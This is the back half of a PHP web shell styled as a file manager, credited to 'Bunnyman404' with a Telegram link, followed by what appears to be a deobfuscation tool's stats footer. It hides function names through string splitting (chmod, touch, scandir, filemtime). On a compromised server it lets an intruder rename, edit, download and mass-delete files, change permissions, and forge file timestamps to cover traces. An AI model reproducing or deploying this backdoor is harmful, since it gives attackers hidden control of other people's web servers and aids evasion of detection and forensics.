                            <a href class="uk-alert-close" uk-close></a>
                            <p>
                                <font class="font-green">Rename Success&nbsp;<i class="fa-sharp fa-regular fa-shield-check font-green"></i>
                                <font class="font-white">' . $this_name . ' To ' . $newname . '</font>
                            </p>
                        </div>
                        ';
                } else {
                    echo '
                        <div class="uk-alert-danger" uk-alert>
                            <a href class="uk-alert-close" uk-close></a>
                            <p>Rename Failed&nbsp;<i class="fa-regular fa-octagon-xmark font-red"></i></p>
                        </div>
                        ';
                }
                $this_name = $newname;
            }
            echo '
                <div class="uk-divider uk-divider-small"></div>
                <form action="" method="POST" class="uk-width-1-2">
                    <fieldset class="uk-fieldset">
                        <div class="uk-margin uk-float-right">
                            <button type="submit" name="btn-rename" class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Rename</button>
                        </div>
                        <p class="font-teal">' . $path . '/' . $this_name . '</p>
                        <legend class="uk-legend font-bold font-protest-riot">Rename</legend>
                        <div class="uk-margin">
                            <input class="uk-input font-poppins" name="newname" type="text" value="' . $this_name . '" aria-label="Input">
                        </div>
                    </fieldset>
                </form>
                ';
        }
        if (isset($_GET['permission'])) {
            $hayoloh = 'h' . 'tm' . 'lspe' . 'cialc' . 'hars';
            $value = $path . '/' . $_GET['permission'];
            if (isset($_POST['btn-permission'])) {
                $newperms = $hayoloh($_POST['newperms']);
                $chperms = 'c' . 'h' . 'm' . 'o' . 'd';
                $oct = 'o' . 'c' . 't' . 'd' . 'e' . 'c';
                if ($chperms($value, $oct($newperms))) {
                    echo '
                        <div class="uk-alert-success" uk-alert>
                            <a href class="uk-alert-close" uk-close></a>
                            <p><font class="font-green">Change Permission Success&nbsp;<i class="fa-sharp fa-regular fa-shield-check font-green"></i></p>
                        </div>
                        ';
                } else {
                    echo '
                        <div class="uk-alert-danger" uk-alert>
                            <a href class="uk-alert-close" uk-close></a>
                            <p>Change Permission Failed&nbsp;<i class="fa-regular fa-octagon-xmark font-red"></i></p>
                        </div>
                        ';
                }
            }
            echo '
                <div class="uk-divider uk-divider-small"></div>
                <form action="" method="POST" class="uk-width-1-2">
                    <fieldset class="uk-fieldset">
                        <div class="uk-margin uk-float-right">
                            <button type="submit" name="btn-permission" class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Change Permission</button>
                        </div>
                        <p class="font-teal">' . $value . '</p>
                        <legend class="uk-legend font-bold font-protest-riot">Cange Permission</legend>
                        <div class="uk-margin">
                            <input class="uk-input font-poppins" name="newperms" type="text" value="' . chPerms($value) . '" aria-label="Input">
                        </div>
                    </fieldset>
                </form>
                ';
        }
        if (isset($_GET['changedate'])) {
            $hayoloh = 'h' . 'tm' . 'lspe' . 'cialc' . 'hars';
            $f_time = 'f' . 'il' . 'e' . 'm' . 't' . 'im' . 'e';
            $str_time = 's' . 'tr' . 'to' . 'ti' . 'me';
            $tch = 'to' . 'uc' . 'h';
            $value = $_GET['changedate'];
            $this_date = date("Y-m-d H:i:s", $f_time($value));
            if (isset($_POST['btn-newdate'])) {
                $newDate = $hayoloh($_POST['newdate']);
                if ($str_time($newDate) !== false) {
                    if ($tch($value, $str_time($newDate))) {
                        echo '
                            <div class="uk-alert-success" uk-alert>
                                <a href class="uk-alert-close" uk-close></a>
                                <p><font class="font-green">Change Date Success&nbsp;<i class="fa-solid fa-calendar-check"></i></p>
                            </div>
                            ';
                    } else {
                        echo '
                            <div class="uk-alert-danger" uk-alert>
                                <a href class="uk-alert-close" uk-close></a>
                                <p>Change Date Failed&nbsp;<i class="fa-solid fa-calendar-xmark"></i></p>
                            </div>
                            ';
                    }
                } else {
                    echo '
                        <div class="uk-alert-warning" uk-alert>
                            <a href class="uk-alert-close" uk-close></a>
                            <p>Change Date Failed, Invalid Date Format&nbsp;<i class="fa-solid fa-calendar-exclamation"></i></p>
                        </div>
                        ';
                }
            }
            echo '
                <div class="uk-divider uk-divider-small"></div>
                <form action="" method="POST" class="uk-width-1-2">
                    <fieldset class="uk-fieldset">
                        <div class="uk-margin uk-float-right">
                            <button type="submit" name="btn-newdate" class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Change Date</button>
                        </div>
                        <p class="font-teal">' . $path . '/' . $value . '</p>
                        <legend class="uk-legend font-bold font-protest-riot">Cange Date</legend>
                        <div class="uk-margin">
                            <input class="uk-input font-poppins" name="newdate" type="text" value="' . $this_date . '" aria-label="Input">
                        </div>
                    </fieldset>
                </form>
                ';
        }
        ?>
    </div>
    <div class="main uk-width-1-1 uk-margin-top uk-margin-small-left uk-margin-small-right"
        style="background: var(--gray-900);">
        <?php
        $scn_d = 'sc' . 'an' . 'd' . 'ir';
        $scan = $scn_d($path);
        ?>
        <div class="uk-overflow-auto uk-flex uk-flex-center uk-flex-middle uk-flex-row uk-flex-wrap">
            <form action="" method="POST" enctype="multipart/form-data" class="uk-width-1-1">
                <table class="bunny-table uk-width-1-1">
                    <thead>
                        <tr>
                            <th>Select All<br><input type="checkbox" id="checkall" class="checkall" name="checkall"
                                    aria-label="Checkbox"></th>
                            <th>Name</th>
                            <th>Last Modified</th>
                            <th>Size</th>
                            <th>Owner/Group</th>
                            <th>Permission</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <tr>
                            <td><?= '-' . 'B' . 'I' . 'C' . '-' ?></td>
                            <td class="body-folder uk-text-nowrap"><a href="?path=<?= dirname($path) ?>"
                                    class="dirpath font-white"><i
                                        class="fa-duotone fa-folders font-amber"></i>&nbsp;&nbsp;..</a></td>
                            <td><?= '-' . 'B' . 'U' . 'N' . 'N' . 'Y' . '-' ?></td>
                            <td><?= '-' . 'B' . 'U' . 'N' . 'N' . 'Y' . '-' ?></td>
                            <td><?= '-' . 'B' . 'U' . 'N' . 'N' . 'Y' . '-' ?></td>
                            <td><?= '-' . 'B' . 'U' . 'N' . 'N' . 'Y' . '-' ?></td>
                            <td><?= '-' . 'B' . 'U' . 'N' . 'N' . 'Y' . '-' ?></td>
                        </tr>
                        <?php
                        foreach ($scan as $dir) {
                            if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..')
                                continue;

                            if ($func_exist($psx_usr_uid)) {
                                $d_owner = @$psx_usr_uid($own_f("$path/$dir"));
                                $d_owner = $d_owner['name'];
                            } else {
                                $d_owner = $own_f("$path/$dir");
                            }
                            if ($func_exist($psx_grp_gid)) {
                                $d_group = @$psx_grp_gid($grp_f("$path/$dir"));
                                $d_group = $d_group['name'];
                            } else {
                                $d_group = $grp_f("$path/$dir");
                            }
                            echo '<tr class="tr-body">';
                            echo '<td><input type="checkbox" class="checkfilefolder" name="checkfolder[]" value="' . $dir . '" aria-label="Checkbox"></td>';
                            echo '<td class="body-folder uk-text-nowrap"><a href="?path=' . $path . '/' . $dir . '" class="dirpath font-white"><i class="fa-duotone fa-folders font-amber"></i>&nbsp;&nbsp;' . $dir . '</a></td>';
                            echo '<td class="uk-text-nowrap"><a href="?path=' . $path . '&changedate=' . $dir . '" class="body-datetime">' . date('Y-m-d H:i:s', filemtime($path . '/' . $dir)) . '</a></td>';
                            echo '<td class="body-size uk-text-nowrap">--DIR--</td>';
                            echo '<td class="uk-text-nowrap">';
                            if ($d_owner == 'root' || $d_owner == 0) {
                                echo '<font class="font-white">' . $d_owner . '</font>';
                            } else {
                                echo '<font class="font-sky">' . $d_owner . '</font>';
                            }
                            echo '/';
                            if ($d_group == 'root' || $d_group == 0) {
                                echo '<font class="font-white">' . $d_group . '</font>';
                            } else {
                                echo '<font class="font-sky">' . $d_group . '</font>';
                            }
                            echo '</td>';
                            echo '<td class="uk-text-nowrap"><a href="?path=' . $path . '&permission=' . $dir . '" class="body-permission">';
                            if ($is_w("$path/$dir"))
                                echo '<font class="font-green green-perms">';
                            elseif (!$is_r("$path/$dir"))
                                echo '<font class="font-red red-perms">';
                            echo perms("$path/$dir");

                            if ($is_w("$path/$dir") || !$is_r("$path/$dir"))
                                echo '</font></a></td>';
                            echo '<td class="uk-text-nowrap">';
                            echo '<a href="?path=' . $path . '&rename=' . $dir . '" uk-tooltip="Rename"><i class="icon fa-sharp fa-solid fa-pen-field rename-folder-icon"></i></a>';
                            echo '<a href="?path=' . $path . '&permission=' . $dir . '" class="uk-margin-small-left uk-margin-small-right" uk-tooltip="Permission"><i class="icon fa-duotone fa-user-pen user-icon"></i></a>';
                            echo '<a href="?path=' . $path . '&deletedir=' . $dir . '" uk-tooltip="Permission"><i class="icon fa-solid fa-trash-can-slash delete-icon"></i></a>';
                            echo '</td>';
                            echo '</tr>';
                        }
                        foreach ($scan as $file) {
                            $f_size = 'f' . 'il' . 'es' . 'iz' . 'e';
                            if (!$is_f("$path/$file"))
                                continue;
                            $size = $f_size("$path/$file") / 1024;
                            $size = $rnd($size, 3);
                            if ($size >= 1024) {
                                $size = $rnd($size / 1024, 2) . ' MB';
                            } else {
                                $size = $size . ' KB';
                            }

                            if ($func_exist($psx_usr_uid)) {
                                $f_owner = @$psx_usr_uid($own_f("$path/$file"));
                                $f_owner = $f_owner['name'];
                            } else {
                                $f_owner = $own_f("$path/$file");
                            }
                            if ($func_exist($psx_grp_gid)) {
                                $f_group = @$psx_grp_gid($grp_f("$path/$file"));
                                $f_group = $f_group['name'];
                            } else {
                                $f_group = $grp_f("$path/$file");
                            }
                            echo '<tr class="tr-body">';
                            echo '<td><input type="checkbox" class="checkfilefolder" name="checkfile[]" value="' . $file . '" aria-label="Checkbox"></td>';
                            echo '<td class="body-file uk-text-nowrap"><a href="?path=' . $path . '&editfile=' . $file . '" class="filepath font-white"><i class="fa-solid fa-files font-white"></i>&nbsp;&nbsp;' . $file . '</a></td>';
                            echo '<td class="uk-text-nowrap"><a href="?path=' . $path . '&changedate=' . $file . '" class="body-datetime">' . date('Y-m-d H:i:s', filemtime($path . '/' . $file)) . '</a></td>';
                            echo '<td class="body-size uk-text-nowrap">' . $size . '</td>';
                            echo '<td class="uk-text-nowrap">';
                            if ($f_owner == 'root' || $f_owner == 0) {
                                echo '<font class="font-white">' . $f_owner . '</font>';
                            } else {
                                echo '<font class="font-sky">' . $f_owner . '</font>';
                            }
                            echo '/';
                            if ($f_group == 'root' || $f_group == 0) {
                                echo '<font class="font-white">' . $f_group . '</font>';
                            } else {
                                echo '<font class="font-sky">' . $f_group . '</font>';
                            }
                            echo '</td>';
                            echo '<td class="uk-text-nowrap"><a href="?path=' . $path . '&permission=' . $file . '" class="body-permission">';
                            if ($is_w("$path/$file"))
                                echo '<font class="font-green green-perms">';
                            elseif (!$is_r("$path/$file"))
                                echo '<font class="font-red red-perms">';
                            echo perms("$path/$file");

                            if ($is_w("$path/$file") || !$is_r("$path/$file"))
                                echo '</font></a></td>';
                            echo '<td class="uk-text-nowrap">';
                            echo '<a href="?path=' . $path . '&rename=' . $file . '" uk-tooltip="Rename"><i class="icon fa-sharp fa-solid fa-pen-field rename-file-icon"></i></a>';
                            echo '<a href="?path=' . $path . '&editfile=' . $file . '" class="uk-margin-small-left" uk-tooltip="Rename"><i class="icon fa-regular fa-file-pen edit-file-icon"></i></a>';
                            echo '<a href="?path=' . $path . '&permission=' . $file . '" class="uk-margin-small-left uk-margin-small-right" uk-tooltip="Permission"><i class="icon fa-duotone fa-user-pen user-icon"></i></a>';
                            echo '<a href="?path=' . $path . '&downloadfile=' . $file . '" class="uk-margin-small-right" uk-tooltip="Permission"><i class="icon fa-solid fa-folder-arrow-down download-icon"></i></a>';
                            echo '<a href="?path=' . $path . '&deletefile=' . $file . '" uk-tooltip="Permission"><i class="icon fa-solid fa-trash-can-slash delete-icon"></i></a>';
                            echo '</td>';
                            echo '</tr>';
                        }
                        ?>
                    </tbody>
                </table>
                <div class="uk-margin">
                    <script>
                        var selectAllCheckbox = document.getElementById('checkall');
                        var checkFileFolder = document.querySelectorAll('.checkfilefolder');
                        selectAllCheckbox.addEventListener('change', function() {
                            for (var i = 0; i < checkFileFolder.length; i++) {
                                checkFileFolder[i].checked = selectAllCheckbox.checked;
                            }
                        });
                        for (var i = 0; i < checkFileFolder.length; i++) {
                            checkFileFolder[i].addEventListener('change', function() {
                                var allChecked = true;
                                for (var j = 0; j < checkFileFolder.length; j++) {
                                    if (!checkFileFolder[j].checked) {
                                        allChecked = false;
                                        break;
                                    }
                                }
                                selectAllCheckbox.checked = allChecked;
                            });
                        }
                    </script>
                    <select class="mass-option font-white uk-select uk-width-1-6" aria-label="Custom controls"
                        name="mass-option">
                        <option name="mass-delete" value="mass_delete">Delete</option>
                    </select>
                    <button type="submit" name="btn-mass" class="btn-mass font-white">&gt;&gt;</button>
                </div>
            </form>
        </div>
    </div>
    <div class="footer uk-margin-large-top uk-width-1-1 uk-flex uk-flex-center uk-flex-middle uk-flex-nowrap"
        style="background: var(--gray-950);">
        <!-- Hadehh lammer kang recode, tinggal pake doang malah di recode -->
        <div class="footer-content uk-padding-small">
            <span class="font-protest-riot">
                <font class="font-poppins">&copy;2020 - <?= date("Y"); ?></font> | <a class="font-rose"
                    href="https://t.me/BunnyInvisible404">Bunnyman404</a>
            </span>
        </div>
    </div>
    <script src="<?= $uikit_js ?>"></script>
    <script src="<?= $uikit_icon ?>"></script>
</body>

</html>

Function Calls

None

Variables

None

Stats

MD5 022871e1dc2594c052c3f2464c46b3d2
Eval Count 0
Decode Time 165 ms